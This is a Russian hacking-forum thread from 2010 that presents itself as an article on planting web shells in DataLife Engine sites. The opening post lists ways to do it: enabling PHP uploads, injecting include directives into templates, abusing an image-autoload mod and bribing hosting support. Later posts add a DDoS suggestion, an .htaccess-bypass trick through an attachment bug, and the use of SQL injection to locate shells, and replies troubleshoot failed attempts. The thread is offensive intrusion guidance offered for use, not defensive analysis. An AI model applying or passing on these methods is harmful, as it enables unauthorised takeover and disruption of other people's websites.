Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Шелл на DLE [Статья] (https://forum.antichat.xyz/showthread.php?t=170923)

In.Exploit 14.01.2010 22:59

Шелл на DLE [Статья]
 
Решил отписать статью со всеми мне известными способами заливки и исполнения шеллов в движке DataLife Engine


Некоторые способы работают на одном или ином движке, некоторые на всех.
Если не получилось так, то пробуйте иначе.

Начну я со способов с доступом к админке.

Первый способ!

Идём в настройки системы - выбираем настройки по загрузке файлов (ищите там где картинки сверху настроек и ниже меню админки) и вписываем в строку разрешенных файлов для загрузки php.
Сохраняем.

Дальше идём в добавление новости, заливаем шелл. И вставляем в новость слово типа [attachment.....] берём его в теги [img][attachment][/img]
Нажимаем кнопку "Предварительный просмотр" и видим адресс шелла.


Второй способ!

Идём в админку - шаблоны - и вставляем в main.tpl к примеру
{include "shell"}

Идём на сайт и быстро делаем свои дела.

Или же если есть доступ в login.tpl
Вставляем код шелла прямо в него.


Третий способ может использоват и с админкой и с правами журналиста.

Сейчас популярен мод автозагрузки картинок на сайт.
И на 30% сайтов стоит старая версия мода, в которой нет проверки формата.
Т.е. мод работает так:
Все файлы/картинки что в тегах [img][/img] и находятся на стороннем домене автоматом идут на сервер.

В старой версии, хватает сделать так:
[img]адресс шелла[/img] и добавить новость.
Дальше идём в новость и смотрим адресс шелла.


Ну и наверно последний способ, сам по себе не связан с багами .

Идёте в whois сервис. Пробиваете dns сервера желаемого сайта.
Обычно это
ns1.hosting.ru

Идём на *hosting.ru и узнаем аську какого нить стороннего саппорта.

Стучим ему, даём 10$ и получаем шелл ;)
ЗЫ я так нашёл 30 хостингов с таким саппортом.
50% сайтов...

Вспомню способы, добавлю тут
Кому помогло, не откажусь от «+»!

P.S.Модеры , эта тема нужна чтобы в теме с багами dle по 100 раз не спрашивали о заливке шелла!

In.Exploit 15.01.2010 02:23

Если вы хотите убить dle сайт.

делаем это с 5 дедов на которых стоит программа sprut ddos
большинство хостингов блокируют сайт за нагрузку.

а сам дле дает приличный вес.

LokbatanLi 15.01.2010 08:33

а в дле с статусом радактор мойно залить шелл ??

In.Exploit 15.01.2010 11:37

Да. смотри 1 пост. там где о моде с автозаливкой

.antibiotic. 15.01.2010 12:06

ты опять за старое

In.Exploit 15.01.2010 13:41

Сорь, там в 1 посте ошибка.
инклуд вот такой:
{include file="shell"}

In.Exploit 15.01.2010 13:42

Цитата:

Сообщение от .antibiotic.
ты опять за старое

Зы чтото не нравится - не читай.

в теме о дле, раз 50 о шеллах спросили.

Tigger 15.01.2010 13:48

Статья ***ня.

Rebz 15.01.2010 13:49

Цитата:

Сообщение от In.Exploit
Сорь, там в 1 посте ошибка.
инклуд вот такой:
{include file="shell"}

а что такое "shell"? Покажи готовый пример для использования.

In.Exploit 15.01.2010 13:57

заливаете шелл, идем на него.
видим что открыть шелл нам запрещает добрый htaccess.
эту проблемму решаем инклудом.
{include file="uploads/images..shell.php"}
вставляем эту строку в шаблон через админку.

идём в шелл через сайт, удаляем htaccess и потом удаляем инклуд.


теперь нам не мешает хтассесс в директории шелла. т.е. мы используем инклуд для импорта шелла в код main чтобы удалить мешающий нам хтассесс

Rebz 15.01.2010 14:02

Цитата:

заливаете шелл, идем на него.
а как ты заливаешь шелл в папку uploads? Ты сам пробывал это сделать?

In.Exploit 15.01.2010 14:04

Да.
читай первый пост как заливать.
как-бы нужна админка
sundown залил и проинклуди4

seofilms 15.01.2010 14:05

Цитата:

заливаете шелл, идем на него.
видим что открыть шелл нам запрещает добрый htaccess.
эту проблемму решаем инклудом.
{include file="uploads/images..shell.php"}
вставляем эту строку в шаблон через админку.

идём в шелл через сайт, удаляем htaccess и потом удаляем инклуд.
проверил в DLE 8.3 - неработает...

In.Exploit 15.01.2010 14:07

Радиус действия инклуда
dle 7.5-8.2
написано же, на некоторые способы идут отдельные движки

LokbatanLi 15.01.2010 14:08

Цитата:

Сообщение от In.Exploit
Да. смотри 1 пост. там где о моде с автозаливкой

как то не понел тебя

In.Exploit 15.01.2010 14:10

В 1 посте описан способ заливать шелл с правами журналиста

LokbatanLi 15.01.2010 15:01

в статусе редактор не бивает такие доступи

In.Exploit 15.01.2010 15:04

там доступа и не надо.
надо лишь права добавления новости без модерации

LokbatanLi 15.01.2010 15:05

est u menya prava dobavlyat novsti..

LokbatanLi 15.01.2010 15:22

вот посмотри например..
вот адрес шелл:
Цитата:

http://ermeninisikim.narod.ru/c100.php
и я добавляю или редакторию новост и зделаю так :
[img*]http://ermeninisikim.narod.ru/c100.php[/img*]

и потом если посмотрю адрес шелл-а и вию :

http://ermeninisikim.narod.ru/c100.php

In.Exploit 15.01.2010 15:35

Цитата:

Сообщение от LokbatanLi
вот посмотри например..
вот адрес шелл:
и я добавляю или редакторию новост и зделаю так :
[img*]http://ermeninisikim.narod.ru/c100.php[/img*]

и потом если посмотрю адрес шелл-а и вию :

http://ermeninisikim.narod.ru/c100.php

Я ниче не понял.
зы это вродь не dle двиг

LokbatanLi 15.01.2010 15:41

не понел ??
вот адрес моy шелл :http://ermeninisikim.narod.ru/c100.php
сам написал адрес шелла вставим в и потом посмотрим в саyте адрес шелл-а..
коqда посмтрю в саыте ноvosтях адрес шелл-а увиju :http://ermeninisikim.narod.ru/c100.php

i 4to zdelat ??

In.Exploit 15.01.2010 16:55

Там не движок dle
пишы понятнее

.antibiotic. 15.01.2010 19:43

Цитата:

Сообщение от In.Exploit
как на народе дле?

ахахаха
это он те ссылку на шелл показывает а не на дле..

bons 17.01.2010 15:43

Цитата:

И вставляем в новость слово типа [attachment.....] берём его в теги [img][attachment][/img]
Нажимаем кнопку "Предварительный просмотр" и видим адресс шелла.
когда заливал шелл через DLE такой финт ни разу не работал. Повезло тем, что был доступ к БД через sql-inj, там прочитал имя загруженного файла из таблицы dle_files.
Цитата:

Идём в админку - шаблоны - и вставляем в main.tpl к примеру
{include "shell"}
Идём на сайт и быстро делаем свои дела.
DLE запрещает инклудить файлы из директорий с правами 777 так что тут ничего не получится разве что на венде этот ваш DLE поставлен
обратиться к шеллу напрямую(повторю, я выдрал его имя из БД) мешает .htaccess в корне директории files. Я сделал следующий ход:
- в настройках разрешил аплоад файлов с расширением htaccess
- приаттачил к новости файл .htaccess (в формочке с именем "uploads/files/ " надо указать тоже .htaccess). Из-за бага приаттаченый файл оказывается не тем, что я аплоадил а "истинным" .htaccess
- просто удаляю аттач и .htaccess'а как и не бывало. Могу напрямую обращаться к шеллу как-то так:
http://site.com/uploads/files/12345_shell.php

m0Hze 17.01.2010 16:12

Цитата:

Сообщение от bons
когда заливал шелл через DLE такой финт ни разу не работал. Повезло тем, что был доступ к БД через sql-inj, там прочитал имя загруженного файла из таблицы dle_files.
DLE запрещает инклудить файлы из директорий с правами 777 так что тут ничего не получится разве что на венде этот ваш DLE поставлен
обратиться к шеллу напрямую(повторю, я выдрал его имя из БД) мешает .htaccess в корне директории files. Я сделал следующий ход:
- в настройках разрешил аплоад файлов с расширением htaccess
- приаттачил к новости файл .htaccess (в формочке с именем "uploads/files/ " надо указать тоже .htaccess). Из-за бага приаттаченый файл оказывается не тем, что я аплоадил а "истинным" .htaccess
- просто удаляю аттач и .htaccess'а как и не бывало. Могу напрямую обращаться к шеллу как-то так:
http://site.com/uploads/files/12345_shell.php

незнаю как сейчас,но раньше просто антивирусник в админке запускаеш,и видеш адрес шелла.

In.Exploit 19.01.2010 10:02

Цитата:

Сообщение от m0Hze
незнаю как сейчас,но раньше просто антивирусник в админке запускаеш,и видеш адрес шелла.

Для этого добавляешь файл шелла в доверенные.

m0Hze 19.01.2010 10:13

Цитата:

Сообщение от In.Exploit
Для этого добавляешь файл шелла в доверенные.

Омг,я объясняю как его найти, с каким именем он залился)

In.Exploit 19.01.2010 10:20

Цитата:

Сообщение от m0Hze
Омг,я объясняю как его найти, с каким именем он залился)

Да я понел.

зы в дле 8.3 баги с атачом нет.

шяс разве что ломать длехи выше 8.3, можно будит лишь с помощю модулей и хаков...

дле становится совершенным...
Потому я думаю что дле остановится на разработке 10-ой версии.

Komyak 23.01.2010 16:46

ХЗ почему, но не получается залить. DLE7.5- разрешаю аплоад и php. и phtml но он всё равно не даёт загрузить с расширением php. Пробовал через {include file- но стоит запрет на изменение шабов.
Сейчас висит 4 длеехи и ничего нельзя сделать, с админскими правами.

Devoldini 22.02.2010 06:20

Шелл залил, а вот когда пытаюсь заинклудить в main.tpl шелл выдает такую ошибку вверху:
Цитата:

Warning: fopen(/var/www/****/data/www/***/templates/Default/main.tpl): failed to open stream: пФЛБЪБОП Ч ДПУФХРЕ in /var/www/****/data/www/****.com/engine/inc/templates.php on line 174 Warning: fwrite(): supplied argument is not a valid stream resource in /var/www/****/data/www/****.com/engine/inc/templates.php on line 175 Warning: fclose(): supplied argument is not a valid stream resource in /var/www/****/data/www/****.com/engine/inc/templates.php on line 176 Warning: fopen(/var/www/****/data/www/****.com/templates/Default/vote.tpl): failed to open stream: пФЛБЪБОП Ч ДПУФХРЕ in /var/www/****/data/www/****.com/engine/inc/templates.php on line 174 Warning: fwrite(): supplied argument is not a valid stream resource in /var/www/****/data/www/****.com/engine/inc/templates.php on line 175 Warning: fclose(): supplied argument is not a valid stream resource in /var/www/****/data/www/****.com/engine/inc/templates.php on line 176 Warning: fopen
(это кусок примерный, там еще его продолжение на страницу) ну и говорит что настройки сохранены, возвращаюсь, смотрю код, а инклуда нету. Видемо права стоят не 666...
есть идеи?

Komyak 26.02.2010 10:51

Цитата:

возвращаюсь, смотрю код, а инклуда нету
Ничего не сделаешь с шаблоном. Там в код кто-то влез. У самого пару таких сайтов валяется.

Foka 26.02.2010 12:55

не имея доступа в админку на ДЛЕ 8.3 как можно залить шел?

AKe11a 11.05.2010 18:39

Цитата:

Сообщение от bons
- в настройках разрешил аплоад файлов с расширением htaccess
- приаттачил к новости файл .htaccess (в формочке с именем "uploads/files/ " надо указать тоже .htaccess). Из-за бага приаттаченый файл оказывается не тем, что я аплоадил а "истинным" .htaccess
- просто удаляю аттач и .htaccess'а как и не бывало. Могу напрямую обращаться к шеллу как-то так:
http://site.com/uploads/files/12345_shell.php

Спасибо. Очень помог.


Время: 10:18